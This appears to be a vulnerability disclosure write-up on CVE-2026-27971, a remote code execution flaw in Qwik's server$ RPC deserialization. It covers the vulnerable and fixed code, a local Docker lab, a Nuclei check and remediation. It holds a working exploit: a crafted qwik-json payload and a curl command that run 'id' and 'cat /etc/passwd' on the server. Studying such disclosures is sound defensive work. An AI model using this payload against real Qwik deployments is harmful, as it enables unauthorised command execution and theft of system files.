Wed 01 April 2026
CVE-2026-27971
Qwik server$ Unauthenticated RCE via Unsafe Deserialization
March 12, 2026 · CVSS 9.2 Critical · Qwik < 1.19.1
| CVE ID | CVSS | Affected | Fixed |
|---|---|---|---|
| CVE-2026-27971 | 9.2 Critical | < 1.19.1 | 1.19.1+ |
CVE-2026-27971 Overview: RCE Through server$ RPC Deserialization
Qwik's server$ RPC mechanism accepts application/qwik-json requests and deserializes attacker-controlled objects into live runtime values. In vulnerable versions, this deserialization path can reconstruct a QRL that points to an arbitrary module path and symbol name. If the server-side runtime still has native require() available, the framework's server import path can be abused to load attacker-chosen CommonJS modules and invoke exported functions with attacker-controlled arguments.
The issue affects deployments where the vulnerable server-side server$ flow is reachable and require() is available at runtime. This is fixed in Qwik 1.19.1, where the server import path no longer performs lazy dynamic imports for untrusted QRL input.
In practical terms, a remote unauthenticated attacker can send a crafted POST request to:
POST /?qfunc=sync
Content-Type: application/qwik-json
X-QRL: sync
and force the server to resolve:
./node_modules/cross-spawn/index#sync
This turns the request body into a remote function call to cross-spawn.sync(...).
CVE-2026-27971 Unsafe server$ Resolution: From Qwik JSON to require()
The vulnerable behavior is easiest to understand as a three-step chain:
1. The request body is parsed by Qwik's `_deserializeData()`
2. A deserialized QRL object is treated as a legitimate `server$` function target
3. The server import path resolves the attacker-controlled chunk via `require()`
The Request Gate
The server-side gate is straightforward. If the qfunc query parameter, X-QRL header, and Content-Type header line up, the request is treated as a server$ invocation:
if (
fn &&
req.headers['x-qrl'] === fn &&
req.headers['content-type'] === 'application/qwik-json'
) {
const data = _deserializeData(body);
if (Array.isArray(data)) {
const [qrl, ...args] = data;
if (qrl && typeof qrl.getSymbol === 'function' && qrl.getHash() === fn) {
const resolvedFn = await importSymbol(qrl.$chunk$, qrl.$symbol$);
const result = await resolvedFn.apply(null, args);
}
}
}
This is not a conventional JSON API. The attacker is not sending plain function names and arguments. They are sending Qwik's serialized object graph, which rebuilds a live QRL object during deserialization.
Why the Payload Works
The core malicious payload used in the lab is:
{"_objs":["\u0002./node_modules/cross-spawn/index#sync","id",[],["0","1","2"]],"_entry":"3"}
After _deserializeData(), that becomes:
[
qrl("./node_modules/cross-spawn/index", "sync"),
"id",
[]
]
So the runtime ends up calling:
crossSpawn.sync("id", []);
The Dangerous Import Path
The vulnerable server-side resolution can be reduced to this:
async function importSymbol(url, symbolName) {
let modulePath = String(url);
if (!modulePath.endsWith('.js')) {
modulePath += '.js';
}
const mod = require(modulePath);
return mod[symbolName];
}
The problem is that url and symbolName originate from attacker-controlled serialized input. Once deserialization reconstructs the QRL, the attacker controls both the module path and the export to invoke.
CVE-2026-27971 Proof-of-Concept: Achieving Remote Code Execution
To validate the issue safely, a local Docker lab was built with the following setup : qwik-vuln on 127.0.0.1:3000 using @builder.io/qwik@1.19.0
Testing Setup
- docker-compose.yaml
services:
qwik-vuln:
build:
context: ./vulnerable
ports:
- "127.0.0.1:3000:3000"
Exploitation
The following curl command achieves Remote Code Execution by manually delivering the serialized Qwik-JSON payload to the vulnerable endpoint
curl -v -X POST "http://127.0.0.1:3000/?qfunc=sync" \
-H "Content-Type: application/qwik-json" \
-H "X-QRL: sync" \
-d '{"_objs":["\u0002./node_modules/cross-spawn/index#sync","cat","/etc/passwd",["2"],["0","1","3"]],"_entry":"4"}'
Result
The vulnerable container returned:

This confirms remote execution of cat /etc/passwd through the deserialized server$ call chain.
CVE-2026-27971 : Nuclei Validation Template
For local template validation, an id-based Nuclei template was created:

Vulnerable Target Validation The vulnerable lab satisfies the expected conditions:
- HTTP 200
- application/qwik-json in the response headers
- Command output matching uid=,gid=
CVE-2026-27971: The Fix in Qwik 1.19.1
The patched behavior removes the dangerous dynamic import path from the server runtime. Instead of resolving arbitrary chunks via require(), the server-side import routine fails closed:
async function importSymbol(_url, symbolName) {
const regSym = global.__qwik_reg_symbols?.get(getSymbolHash(symbolName));
if (regSym) {
return regSym;
}
throw new Error(`Dynamic import failed for symbol '${symbolName}'`);
}
That is the key security change. The deserialized QRL may still exist as data, but it no longer results in arbitrary module loading on the server.
Fixed Control Validation
The same nuclei template against the patched control:

returned:
HTTP/1.1 500 Internal Server Error
Content-Type: text/plain
Invalid request
Immediate Remediation
- Upgrade Qwik to 1.19.1 or later
- Avoid exposing vulnerable server$ RPC paths on runtimes where native require() is available
- Review whether server-side adapters or custom CJS wrappers reintroduce dynamic module resolution
References
| Resource | Link |
|---|---|
| Github advisory GHSA-p9x5-jp3h-96mm | https://github.com/advisories/GHSA-p9x5-jp3h-96mm |
| Nuclei Template | https://github.com/Ostorlab/KEV/blob/main/nuclei/CVE-2026-27971.yaml |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-27971 |
Table of Contents